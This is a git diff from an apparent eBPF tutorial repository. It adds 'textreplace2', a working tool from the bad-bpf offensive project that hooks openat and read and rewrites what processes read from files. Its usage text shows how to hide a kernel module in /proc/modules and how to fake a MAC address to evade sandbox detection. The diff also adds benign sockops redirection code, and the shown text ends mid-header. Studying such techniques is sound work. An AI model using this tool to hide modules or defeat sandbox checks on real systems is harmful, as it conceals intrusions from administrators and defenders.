    +
    +

    然后,你可以分离运行 text-replace2:

    +
    ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d
    +
    +

    这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 +一旦加载器成功运行,你可以通过运行以下命令检查日志:

    +
    sudo cat /sys/kernel/debug/tracing/trace_pipe
    +# 确认链接文件存在
    +sudo ls -l /sys/fs/bpf/textreplace
    +
    +

    然后,要停止,只需删除链接文件即可:

    +
    sudo rm -r /sys/fs/bpf/textreplace
    +
    +

    参考资料

    + + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/28-detach/textreplace2.bpf.c b/28-detach/textreplace2.bpf.c new file mode 100644 index 0000000..6778d7c --- /dev/null +++ b/28-detach/textreplace2.bpf.c @@ -0,0 +1,384 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "textreplace2.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to hold the File Descriptors from 'openat' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, unsigned int); +} map_fds SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buff_addrs SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +// NOTE: This should probably be a map-of-maps, with the top-level +// key bing pid_tgid, so we know we're looking at the right program +#define MAX_POSSIBLE_ADDRS 500 +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_name_addrs SEC(".maps"); +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_to_replace_addrs SEC(".maps"); + +// Map holding the programs for tail calls +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 5); + __type(key, __u32); + __type(value, __u32); +} map_prog_array SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, int); + __type(value, struct tr_file); +} map_filename SEC(".maps"); +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 2); + __type(key, int); + __type(value, struct tr_text); +} map_text SEC(".maps"); + +SEC("fexit/__x64_sys_close") +int BPF_PROG(handle_close_exit, const struct pt_regs *regs, long ret) +{ + // Check if we're a process thread of interest + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + + // Closing file, delete fd from all maps to clean up + bpf_map_delete_elem(&map_fds, &pid_tgid); + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); + + return 0; +} + +SEC("fentry/__x64_sys_openat") +int BPF_PROG(handle_openat_enter, struct pt_regs *regs) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int zero = PROG_00; + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Get filename to check + struct tr_file *pFile = bpf_map_lookup_elem(&map_filename, &zero); + if (pFile == NULL) { + return 0; + } + + // Get filename from arguments + char check_filename[FILENAME_LEN_MAX]; + bpf_probe_read_user(&check_filename, FILENAME_LEN_MAX, (void*)PT_REGS_PARM2(regs)); + + // Check filename is our target + for (int i = 0; i < FILENAME_LEN_MAX; i++) { + if (i > pFile->filename_len) { + break; + } + if (pFile->filename[i] != check_filename[i]) { + return 0; + } + } + + // Add pid_tgid to map for our sys_exit call + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); + + return 0; +} + +SEC("fexit/__x64_sys_openat") +int BPF_PROG(handle_openat_exit, struct pt_regs *regs, long ret) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + int pid = pid_tgid >> 32; + + // Set the map value to be the returned file descriptor + unsigned int fd = (unsigned int)ret; + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); + + return 0; +} + +SEC("fentry/__x64_sys_read") +int BPF_PROG(handle_read_enter, struct pt_regs *regs) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (pfd == 0) { + return 0; + } + + // Check this is the correct file descriptor + unsigned int map_fd = *pfd; + unsigned int fd = (unsigned int)PT_REGS_PARM1(regs); + if (map_fd != fd) { + return 0; + } + + // Store buffer address from arguments in map + long unsigned int buff_addr = PT_REGS_PARM2(regs); + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); + + // log and exit + size_t buff_size = (size_t)PT_REGS_PARM3(regs); + // bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_addr 0x%lx\n", pid, fd, buff_addr); + // bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_size %lu\n", pid, fd, buff_size); + return 0; +} + +SEC("fexit/__x64_sys_read") +int BPF_PROG(find_possible_addrs, struct pt_regs *regs, long ret) +{ + // Check this open call is reading our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int buff_addr = *pbuff_addr; + long unsigned int name_addr = 0; + if (buff_addr <= 0) { + return 0; + } + + // This is amount of data returned from the read syscall + if (ret <= 0) { + return 0; + } + long int buff_size = ret; + long int read_size = buff_size; + + bpf_printk("[TEXT_REPLACE] PID %d | read_size %lu | buff_addr 0x%lx\n", pid, read_size, buff_addr); + const unsigned int local_buff_size = 32; + const unsigned int loop_size = 32; + char local_buff[local_buff_size] = { 0x00 }; + + if (read_size > (local_buff_size+1)) { + // Need to loop :-( + read_size = local_buff_size; + } + + int index = PROG_00; + struct tr_text *pFind = bpf_map_lookup_elem(&map_text, &index); + if (pFind == NULL) { + return 0; + } + + // Read the data returned in chunks, and note every instance + // of the first character of our 'to find' text. + // This is all very convoluted, but is required to keep + // the program complexity and size low enough the pass the verifier checks + unsigned int tofind_counter = 0; + for (unsigned int i = 0; i < loop_size; i++) { + // Read in chunks from buffer + bpf_probe_read(&local_buff, read_size, (void*)buff_addr); + for (unsigned int j = 0; j < local_buff_size; j++) { + // Look for the first char of our 'to find' text + if (local_buff[j] == pFind->text[0]) { + name_addr = buff_addr+j; + // This is possibly out text, add the address to the map to be + // checked by program 'check_possible_addrs' + bpf_map_update_elem(&map_name_addrs, &tofind_counter, &name_addr, BPF_ANY); + tofind_counter++; + } + } + + buff_addr += local_buff_size; + } + + // Tail-call into 'check_possible_addrs' to loop over possible addresses + // bpf_printk("[TEXT_REPLACE] PID %d | tofind_counter %d \n", pid, tofind_counter); + + bpf_tail_call(ctx, &map_prog_array, PROG_01); + return 0; +} + +SEC("fexit/__x64_sys_read") +int BPF_PROG(check_possible_addresses, struct pt_regs *regs, long ret) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int newline_counter = 0; + unsigned int match_counter = 0; + + char name[TEXT_LEN_MAX+1]; + unsigned int j = 0; + char old = 0; + + int index = PROG_00; + struct tr_text *pFind = bpf_map_lookup_elem(&map_text, &index); + if (pFind == NULL) { + return 0; + } + + const unsigned int name_len = pFind->text_len; + if (name_len < 0) { + return 0; + } + if (name_len > TEXT_LEN_MAX) { + return 0; + } + // Go over every possibly location + // and check if it really does match our text + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + newline_counter = i; + pName_addr = bpf_map_lookup_elem(&map_name_addrs, &newline_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + bpf_probe_read_user(&name, TEXT_LEN_MAX, (char*)name_addr); + for (j = 0; j < TEXT_LEN_MAX; j++) { + if (name[j] != pFind->text[j]) { + break; + } + } + // for newer kernels, maybe use bpf_strncmp + // if (bpf_strncmp(pFind->text, TEXT_LEN_MAX, name) == 0) { + if (j >= name_len) { + // *********** + // We've found out text! + // Add location to map to be overwritten + // *********** + bpf_map_update_elem(&map_to_replace_addrs, &match_counter, &name_addr, BPF_ANY); + match_counter++; + } + bpf_map_delete_elem(&map_name_addrs, &newline_counter); + } + + // If we found at least one match, jump into program to overwrite text + if (match_counter > 0) { + bpf_tail_call(ctx, &map_prog_array, PROG_02); + } + return 0; +} + + +SEC("fexit/__x64_sys_read") +int BPF_PROG(overwrite_addresses, struct pt_regs *regs, long ret) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int match_counter = 0; + + int index = PROG_01; + struct tr_text *pReplace = bpf_map_lookup_elem(&map_text, &index); + if (pReplace == NULL) { + return 0; + } + + // Loop over every address to replace text into + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + match_counter = i; + pName_addr = bpf_map_lookup_elem(&map_to_replace_addrs, &match_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + // Attempt to overwrite data with out replace string (minus the end null bytes) + // We have to do it this long way to deal with the variable text_len + char data[TEXT_LEN_MAX]; + bpf_probe_read_user(&data, TEXT_LEN_MAX, (void*)name_addr); + for (unsigned int j = 0; j < TEXT_LEN_MAX; j++) { + if (j >= pReplace->text_len) { + break; + } + data[j] = pReplace->text[j]; + } + long ret = bpf_probe_write_user((void*)name_addr, (void*)data, TEXT_LEN_MAX); + + // Send event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + + int index = PROG_00; + struct tr_text *pFind = bpf_map_lookup_elem(&map_text, &index); + if (pFind == NULL) { + return 0; + } + bpf_printk("[TEXT_REPLACE] PID %d | [*] replaced: %s\n", pid, pFind->text); + + // Clean up map now we're done + bpf_map_delete_elem(&map_to_replace_addrs, &match_counter); + } + + return 0; +} diff --git a/28-detach/textreplace2.c b/28-detach/textreplace2.c new file mode 100644 index 0000000..a59724b --- /dev/null +++ b/28-detach/textreplace2.c @@ -0,0 +1,505 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include +#include +#include +#include +#include +#include "textreplace2.skel.h" +#include "textreplace2.h" + +#include +#include +#include +#include +#include +#include +#include + +static volatile sig_atomic_t exiting; + +void sig_int(int signo) +{ + exiting = 1; +} + +static bool setup_sig_handler() { + // Add handlers for SIGINT and SIGTERM so we shutdown cleanly + __sighandler_t sighandler = signal(SIGINT, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + sighandler = signal(SIGTERM, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + return true; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static bool bump_memlock_rlimit(void) +{ + struct rlimit rlim_new = { + .rlim_cur = RLIM_INFINITY, + .rlim_max = RLIM_INFINITY, + }; + + if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) { + fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n"); + return false; + } + return true; +} + + +static bool setup() { + // Set up libbpf errors and debug info callback + libbpf_set_print(libbpf_print_fn); + + // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything + if (!bump_memlock_rlimit()) { + return false; + }; + + // Setup signal handler so we exit cleanly + if (!setup_sig_handler()) { + return false; + } + + return true; +} + +// Setup Argument stuff +static struct env { + char filename[FILENAME_LEN_MAX]; + char input[FILENAME_LEN_MAX]; + char replace[FILENAME_LEN_MAX]; + bool detatch; + int target_ppid; +} env; + +const char *argp_program_version = "textreplace2 1.0"; +const char *argp_program_bug_address = ""; +const char argp_program_doc[] = +"Text Replace\n" +"\n" +"Replaces text in a file.\n" +"To pass in newlines use \%'\\n' e.g.:\n" +" ./textreplace2 -f /proc/modules -i ppdev -r $'aaaa\\n'" +"\n" +"USAGE: ./textreplace2 -f filename -i input -r output [-t 1111] [-d]\n" +"EXAMPLES:\n" +"Hide kernel module:\n" +" ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd'\n" +"Fake Ethernet adapter (used in sandbox detection): \n" +" ./textreplace2 -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' \n" +"Run detached (userspace program can exit):\n" +" ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' --detach\n" +"To stop detached program:\n" +" sudo rm -rf /sys/fs/bpf/textreplace\n" +""; + +static const struct argp_option opts[] = { + { "filename", 'f', "FILENAME", 0, "Path to file to replace text in" }, + { "input", 'i', "INPUT", 0, "Text to be replaced in file, max 20 chars" }, + { "replace", 'r', "REPLACE", 0, "Text to replace with in file, must be same size as -t" }, + { "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." }, + { "detatch", 'd', NULL, 0, "Pin programs to filesystem and exit usermode process" }, + {}, +}; + +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + switch (key) { + case 'i': + if (strlen(arg) >= TEXT_LEN_MAX) { + fprintf(stderr, "Text must be less than %d characters\n", FILENAME_LEN_MAX); + argp_usage(state); + } + strncpy(env.input, arg, sizeof(env.input)); + break; + case 'd': + env.detatch = true; + break; + case 'r': + if (strlen(arg) >= TEXT_LEN_MAX) { + fprintf(stderr, "Text must be less than %d characters\n", FILENAME_LEN_MAX); + argp_usage(state); + } + strncpy(env.replace, arg, sizeof(env.replace)); + break; + case 'f': + if (strlen(arg) >= FILENAME_LEN_MAX) { + fprintf(stderr, "Filename must be less than %d characters\n", FILENAME_LEN_MAX); + argp_usage(state); + } + strncpy(env.filename, arg, sizeof(env.filename)); + break; + case 't': + errno = 0; + env.target_ppid = strtol(arg, NULL, 10); + if (errno || env.target_ppid <= 0) { + fprintf(stderr, "Invalid pid: %s\n", arg); + argp_usage(state); + } + break; + case ARGP_KEY_ARG: + argp_usage(state); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} +static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, +}; + +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + if (e->success) + printf("Replaced text in PID %d (%s)\n", e->pid, e->comm); + else + printf("Failed to replace text in PID %d (%s)\n", e->pid, e->comm); + return 0; +} + +static const char* base_folder = "/sys/fs/bpf/textreplace"; + +int rmtree(const char *path) +{ + size_t path_len; + char *full_path; + DIR *dir; + struct stat stat_path, stat_entry; + struct dirent *entry; + + // stat for the path + stat(path, &stat_path); + + // if path does not exists or is not dir - exit with status -1 + if (S_ISDIR(stat_path.st_mode) == 0) { + // ignore + return 0; + } + + // if not possible to read the directory for this user + if ((dir = opendir(path)) == NULL) { + fprintf(stderr, "%s: %s\n", "Can`t open directory", path); + return 1; + } + + // the length of the path + path_len = strlen(path); + + // iteration through entries in the directory + while ((entry = readdir(dir)) != NULL) { + // skip entries "." and ".." + if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) + continue; + + // determinate a full path of an entry + full_path = calloc(path_len + strlen(entry->d_name) + 1, sizeof(char)); + strcpy(full_path, path); + strcat(full_path, "/"); + strcat(full_path, entry->d_name); + + // stat for the entry + stat(full_path, &stat_entry); + + // recursively remove a nested directory + if (S_ISDIR(stat_entry.st_mode) != 0) { + rmtree(full_path); + continue; + } + + // remove a file object + if (unlink(full_path)) { + printf("Can`t remove a file: %s\n", full_path); + return 1; + } + free(full_path); + } + + // remove the devastated directory and close the object of it + if (rmdir(path)) { + printf("Can`t remove a directory: %s\n", path); + return 1; + } + + closedir(dir); + return 0; +} + + +int cleanup_pins() { + return rmtree(base_folder); +} + +int pin_program(struct bpf_program *prog, const char* path) +{ + int err; + err = bpf_program__pin(prog, path); + if (err) { + fprintf(stdout, "could not pin prog %s: %d\n", path, err); + return err; + } + return err; +} + +int pin_map(struct bpf_map *map, const char* path) +{ + int err; + err = bpf_map__pin(map, path); + if (err) { + fprintf(stdout, "could not pin map %s: %d\n", path, err); + return err; + } + return err; +} + +int pin_link(struct bpf_link *link, const char* path) +{ + int err; + err = bpf_link__pin(link, path); + if (err) { + fprintf(stdout, "could not pin link %s: %d\n", path, err); + return err; + } + return err; +} + +static int pin_stuff(struct textreplace2_bpf *skel) { + /* + Sorry in advance for not this function being quite garbage, + but I tried to keep the code simple to make it easy to read + and modify + */ + int err; + int counter = 0; + struct bpf_program *prog; + struct bpf_map *map; + char pin_path[100]; + + // Pin Maps + bpf_object__for_each_map(map, skel->obj) { + sprintf(pin_path, "%s/map_%02d", base_folder, counter++); + err = pin_map(map, pin_path); + if (err) { return err; } + } + + // Pin Programs + counter = 0; + bpf_object__for_each_program(prog, skel->obj) { + sprintf(pin_path, "%s/prog_%02d", base_folder, counter++); + err = pin_program(prog, pin_path); + if (err) { return err; } + } + + // Pin Links. There's not for_each for links + // so do it manually in a gross way + counter = 0; + memset(pin_path, '\x00', sizeof(pin_path)); + sprintf(pin_path, "%s/link_%02d", base_folder, counter++); + err = pin_link(skel->links.handle_close_exit, pin_path); + if (err) { return err; } + sprintf(pin_path, "%s/link_%02d", base_folder, counter++); + err = pin_link(skel->links.handle_openat_enter, pin_path); + if (err) { return err; } + sprintf(pin_path, "%s/link_%02d", base_folder, counter++); + err = pin_link(skel->links.handle_openat_exit, pin_path); + if (err) { return err; } + sprintf(pin_path, "%s/link_%02d", base_folder, counter++); + err = pin_link(skel->links.handle_read_enter, pin_path); + if (err) { return err; } + sprintf(pin_path, "%s/link_%02d", base_folder, counter++); + err = pin_link(skel->links.find_possible_addrs, pin_path); + if (err) { return err; } + sprintf(pin_path, "%s/link_%02d", base_folder, counter++); + err = pin_link(skel->links.check_possible_addresses, pin_path); + if (err) { return err; } + sprintf(pin_path, "%s/link_%02d", base_folder, counter++); + err = pin_link(skel->links.overwrite_addresses, pin_path); + if (err) { return err; } + + return 0; +} + +int main(int argc, char **argv) +{ + struct ring_buffer *rb = NULL; + struct textreplace2_bpf *skel; + int err; + int index; + // Parse command line arguments + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) { + return err; + } + if (env.filename[0] == '\x00' || env.input[0] == '\x00' || env.replace[0] == '\x00') { + printf("ERROR: filename, input, and replace all requried, see %s --help\n", argv[0]); + exit(1); + } + if (strlen(env.input) != strlen(env.replace)) { + printf("ERROR: input and replace text must be the same length\n"); + exit(1); + } + + // Do common setup + if (!setup()) { + exit(1); + } + + if (env.detatch) { + // Check bpf filesystem is mounted + if (access("/sys/fs/bpf", F_OK) != 0) { + fprintf(stderr, "Make sure bpf filesystem mounted by running:\n"); + fprintf(stderr, " sudo mount bpffs -t bpf /sys/fs/bpf\n"); + return 1; + } + if (cleanup_pins()) + return 1; + } + + // Open BPF application + skel = textreplace2_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); + return 1; + } + + // Verify and load program + err = textreplace2_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + struct tr_file file; + strncpy(file.filename, env.filename, sizeof(file.filename)); + index = PROG_00; + file.filename_len = strlen(env.filename); + err = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_filename), + &index, + &file, + BPF_ANY + ); + if (err == -1) { + printf("Failed to add filename to map? %s\n", strerror(errno)); + goto cleanup; + } + + struct tr_text text; + strncpy(text.text, env.input, sizeof(text.text)); + index = PROG_00; + text.text_len = strlen(env.input); + err = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_text), + &index, + &text, + BPF_ANY + ); + if (err == -1) { + printf("Failed to add text input to map? %s\n", strerror(errno)); + goto cleanup; + } + strncpy(text.text, env.replace, sizeof(text.text)); + index = PROG_01; + text.text_len = strlen(env.replace); + err = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_text), + &index, + &text, + BPF_ANY + ); + if (err == -1) { + printf("Failed to add text replace to map? %s\n", strerror(errno)); + goto cleanup; + } + + // Add program to map so we can call it later + index = PROG_01; + int prog_fd = bpf_program__fd(skel->progs.check_possible_addresses); + err = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_prog_array), + &index, + &prog_fd, + BPF_ANY); + if (err == -1) { + printf("Failed to add program to prog array! %s\n", strerror(errno)); + goto cleanup; + } + index = PROG_02; + prog_fd = bpf_program__fd(skel->progs.overwrite_addresses); + err = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_prog_array), + &index, + &prog_fd, + BPF_ANY); + if (err == -1) { + printf("Failed to add program to prog array! %s\n", strerror(errno)); + goto cleanup; + } + + // Attach tracepoint handler + err = textreplace2_bpf__attach(skel); + if (err) { + fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); + goto cleanup; + } + + if (env.detatch) { + err = pin_stuff(skel); + if (err) { + fprintf(stderr, "Failed to pin stuff\n"); + goto cleanup; + } + + printf("----------------------------------\n"); + printf("----------------------------------\n"); + printf("Successfully started!\n"); + printf("Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` " + "to see output of the BPF programs.\n"); + printf("Files are pinned in folder %s\n", base_folder); + printf("To stop programs, run 'sudo rm -r%s'\n", base_folder); + } + else { + // Set up ring buffer + rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL); + if (!rb) { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + + printf("Successfully started!\n"); + while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) { + err = 0; + break; + } + if (err < 0) { + printf("Error polling perf buffer: %d\n", err); + break; + } + } + } + +cleanup: + textreplace2_bpf__destroy(skel); + if (err != 0) { + cleanup_pins(); + } + return -err; +} diff --git a/28-detach/textreplace2.h b/28-detach/textreplace2.h new file mode 100644 index 0000000..4686d92 --- /dev/null +++ b/28-detach/textreplace2.h @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_H +#define BAD_BPF_COMMON_H + +// These are used by a number of +// different programs to sync eBPF Tail Call +// login between user space and kernel +#define PROG_00 0 +#define PROG_01 1 +#define PROG_02 2 + +// Used when replacing text +#define FILENAME_LEN_MAX 50 +#define TEXT_LEN_MAX 20 + +// Simple message structure to get events from eBPF Programs +// in the kernel to user spcae +#define TASK_COMM_LEN 16 +struct event { + int pid; + char comm[TASK_COMM_LEN]; + bool success; +}; + +struct tr_file { + char filename[FILENAME_LEN_MAX]; + unsigned int filename_len; +}; + +struct tr_text { + char text[TEXT_LEN_MAX]; + unsigned int text_len; +}; + +#endif // BAD_BPF_COMMON_H diff --git a/29-sockops/.gitignore b/29-sockops/.gitignore new file mode 100644 index 0000000..024ee36 --- /dev/null +++ b/29-sockops/.gitignore @@ -0,0 +1,8 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +ecc diff --git a/29-sockops/bpf_redir.c b/29-sockops/bpf_redir.c new file mode 100644 index 0000000..654587b --- /dev/null +++ b/29-sockops/bpf_redir.c @@ -0,0 +1,27 @@ +#include +#include + +#include "bpf_sockops.h" + +__section("sk_msg") +int bpf_redir(struct sk_msg_md *msg) +{ + __u64 flags = BPF_F_INGRESS; + struct sock_key key = {}; + + sk_msg_extract4_key(msg, &key); + // See whether the source or destination IP is local host + if (key.sip4 == 16777343 || key.dip4 == 16777343) { + // See whether the source or destination port is 10000 + if (key.sport == 4135 || key.dport == 4135) { + int len1 = (__u64)msg->data_end - (__u64)msg->data; + printk("<<< redir_proxy port %d --> %d (%d)\n", key.sport, key.dport, len1); + msg_redirect_hash(msg, &sock_ops_map, &key, flags); + } + } + + return SK_PASS; +} + +BPF_LICENSE("GPL"); +int _version __section("version") = 1; diff --git a/29-sockops/bpf_sockops.c b/29-sockops/bpf_sockops.c new file mode 100644 index 0000000..b19929b --- /dev/null +++ b/29-sockops/bpf_sockops.c @@ -0,0 +1,52 @@ +#include +#include +#include + +#include "bpf_sockops.h" + +static inline void bpf_sock_ops_ipv4(struct bpf_sock_ops *skops) +{ + struct sock_key key = {}; + sk_extract4_key(skops, &key); + if (key.dip4 == 16777343 || key.sip4 == 16777343 ) { + if (key.dport == 4135 || key.sport == 4135) { + int ret = sock_hash_update(skops, &sock_ops_map, &key, BPF_NOEXIST); + printk("<<< ipv4 op = %d, port %d --> %d\n", skops->op, key.sport, key.dport); + if (ret != 0) + printk("*** FAILED %d ***\n", ret); + } + } +} + +static inline void bpf_sock_ops_ipv6(struct bpf_sock_ops *skops) +{ + if (skops->remote_ip4) + bpf_sock_ops_ipv4(skops); +} + + +__section("sockops") +int bpf_sockmap(struct bpf_sock_ops *skops) +{ + __u32 family, op; + + family = skops->family; + op = skops->op; + + printk("<<< op %d, port = %d --> %d\n", op, skops->local_port, skops->remote_port); + switch (op) { + case BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB: + case BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB: + if (family == AF_INET6) + bpf_sock_ops_ipv6(skops); + else if (family == AF_INET) + bpf_sock_ops_ipv4(skops); + break; + default: + break; + } + return 0; +} + +BPF_LICENSE("GPL"); +int _version __section("version") = 1; diff --git a/29-sockops/bpf_sockops.h b/29-sockops/bpf_sockops.h new file mode 100644 index 0000000..c625da2 --- /dev/null +++ b/29-sockops/bpf_sockops.h @@ -0,0 +1,168 @@ +#include +#include + +#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ +# define __bpf_ntohs(x) __builtin_bswap16(x) +# define __bpf_htons(x) __builtin_bswap16(x) +# define __bpf_constant_ntohs(x) ___constant_swab16(x) +# define __bpf_constant_htons(x) ___constant_swab16(x) +# define __bpf_ntohl(x) __builtin_bswap32(x) +# define __bpf_htonl(x) __builtin_bswap32(x) +# define __bpf_constant_ntohl(x) ___constant_swab32(x) +# define __bpf_constant_htonl(x) ___constant_swab32(x) +#elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ +# define __bpf_ntohs(x) (x) +# define __bpf_htons(x) (x) +# define __bpf_constant_ntohs(x) (x) +# define __bpf_constant_htons(x) (x) +# define __bpf_ntohl(x) (x) +# define __bpf_htonl(x) (x) +# define __bpf_constant_ntohl(x) (x) +# define __bpf_constant_htonl(x) (x) +#else +# error "Fix your compiler's __BYTE_ORDER__?!" +#endif + +#define bpf_htons(x) \ + (__builtin_constant_p(x) ? \ + __bpf_constant_htons(x) : __bpf_htons(x)) +#define bpf_ntohs(x) \ + (__builtin_constant_p(x) ? \ + __bpf_constant_ntohs(x) : __bpf_ntohs(x)) +#define bpf_htonl(x) \ + (__builtin_constant_p(x) ? \ + __bpf_constant_htonl(x) : __bpf_htonl(x)) +#define bpf_ntohl(x) \ + (__builtin_constant_p(x) ? \ + __bpf_constant_ntohl(x) : __bpf_ntohl(x)) + +/** Section helper macros. */ + +#ifndef __section +# define __section(NAME) \ + __attribute__((section(NAME), used)) +#endif + +#ifndef __section_tail +# define __section_tail(ID, KEY) \ + __section(__stringify(ID) "/" __stringify(KEY)) +#endif + +#ifndef __section_cls_entry +# define __section_cls_entry \ + __section("classifier") +#endif + +#ifndef __section_act_entry +# define __section_act_entry \ + __section("action") +#endif + +#ifndef __section_license +# define __section_license \ + __section("license") +#endif + +#ifndef __section_maps +# define __section_maps \ + __section("maps") +#endif + +/** Declaration helper macros. */ + +#ifndef BPF_LICENSE +# define BPF_LICENSE(NAME) \ + char ____license[] __section_license = NAME +#endif + +#ifndef BPF_FUNC +# define BPF_FUNC(NAME, ...) \ + (*NAME)(__VA_ARGS__) = (void *)BPF_FUNC_##NAME +#endif + +static int BPF_FUNC(sock_hash_update, struct bpf_sock_ops *skops, void *map, void *key, uint64_t flags); +static int BPF_FUNC(msg_redirect_hash, struct sk_msg_md *md, void *map, void *key, uint64_t flags); +static void BPF_FUNC(trace_printk, const char *fmt, int fmt_size, ...); + +#ifndef printk +# define printk(fmt, ...) \ + ({ \ + char ____fmt[] = fmt; \ + trace_printk(____fmt, sizeof(____fmt), ##__VA_ARGS__); \ + }) +#endif + + +struct bpf_map_def { + __u32 type; + __u32 key_size; + __u32 value_size; + __u32 max_entries; + __u32 map_flags; +}; + +union v6addr { + struct { + __u32 p1; + __u32 p2; + 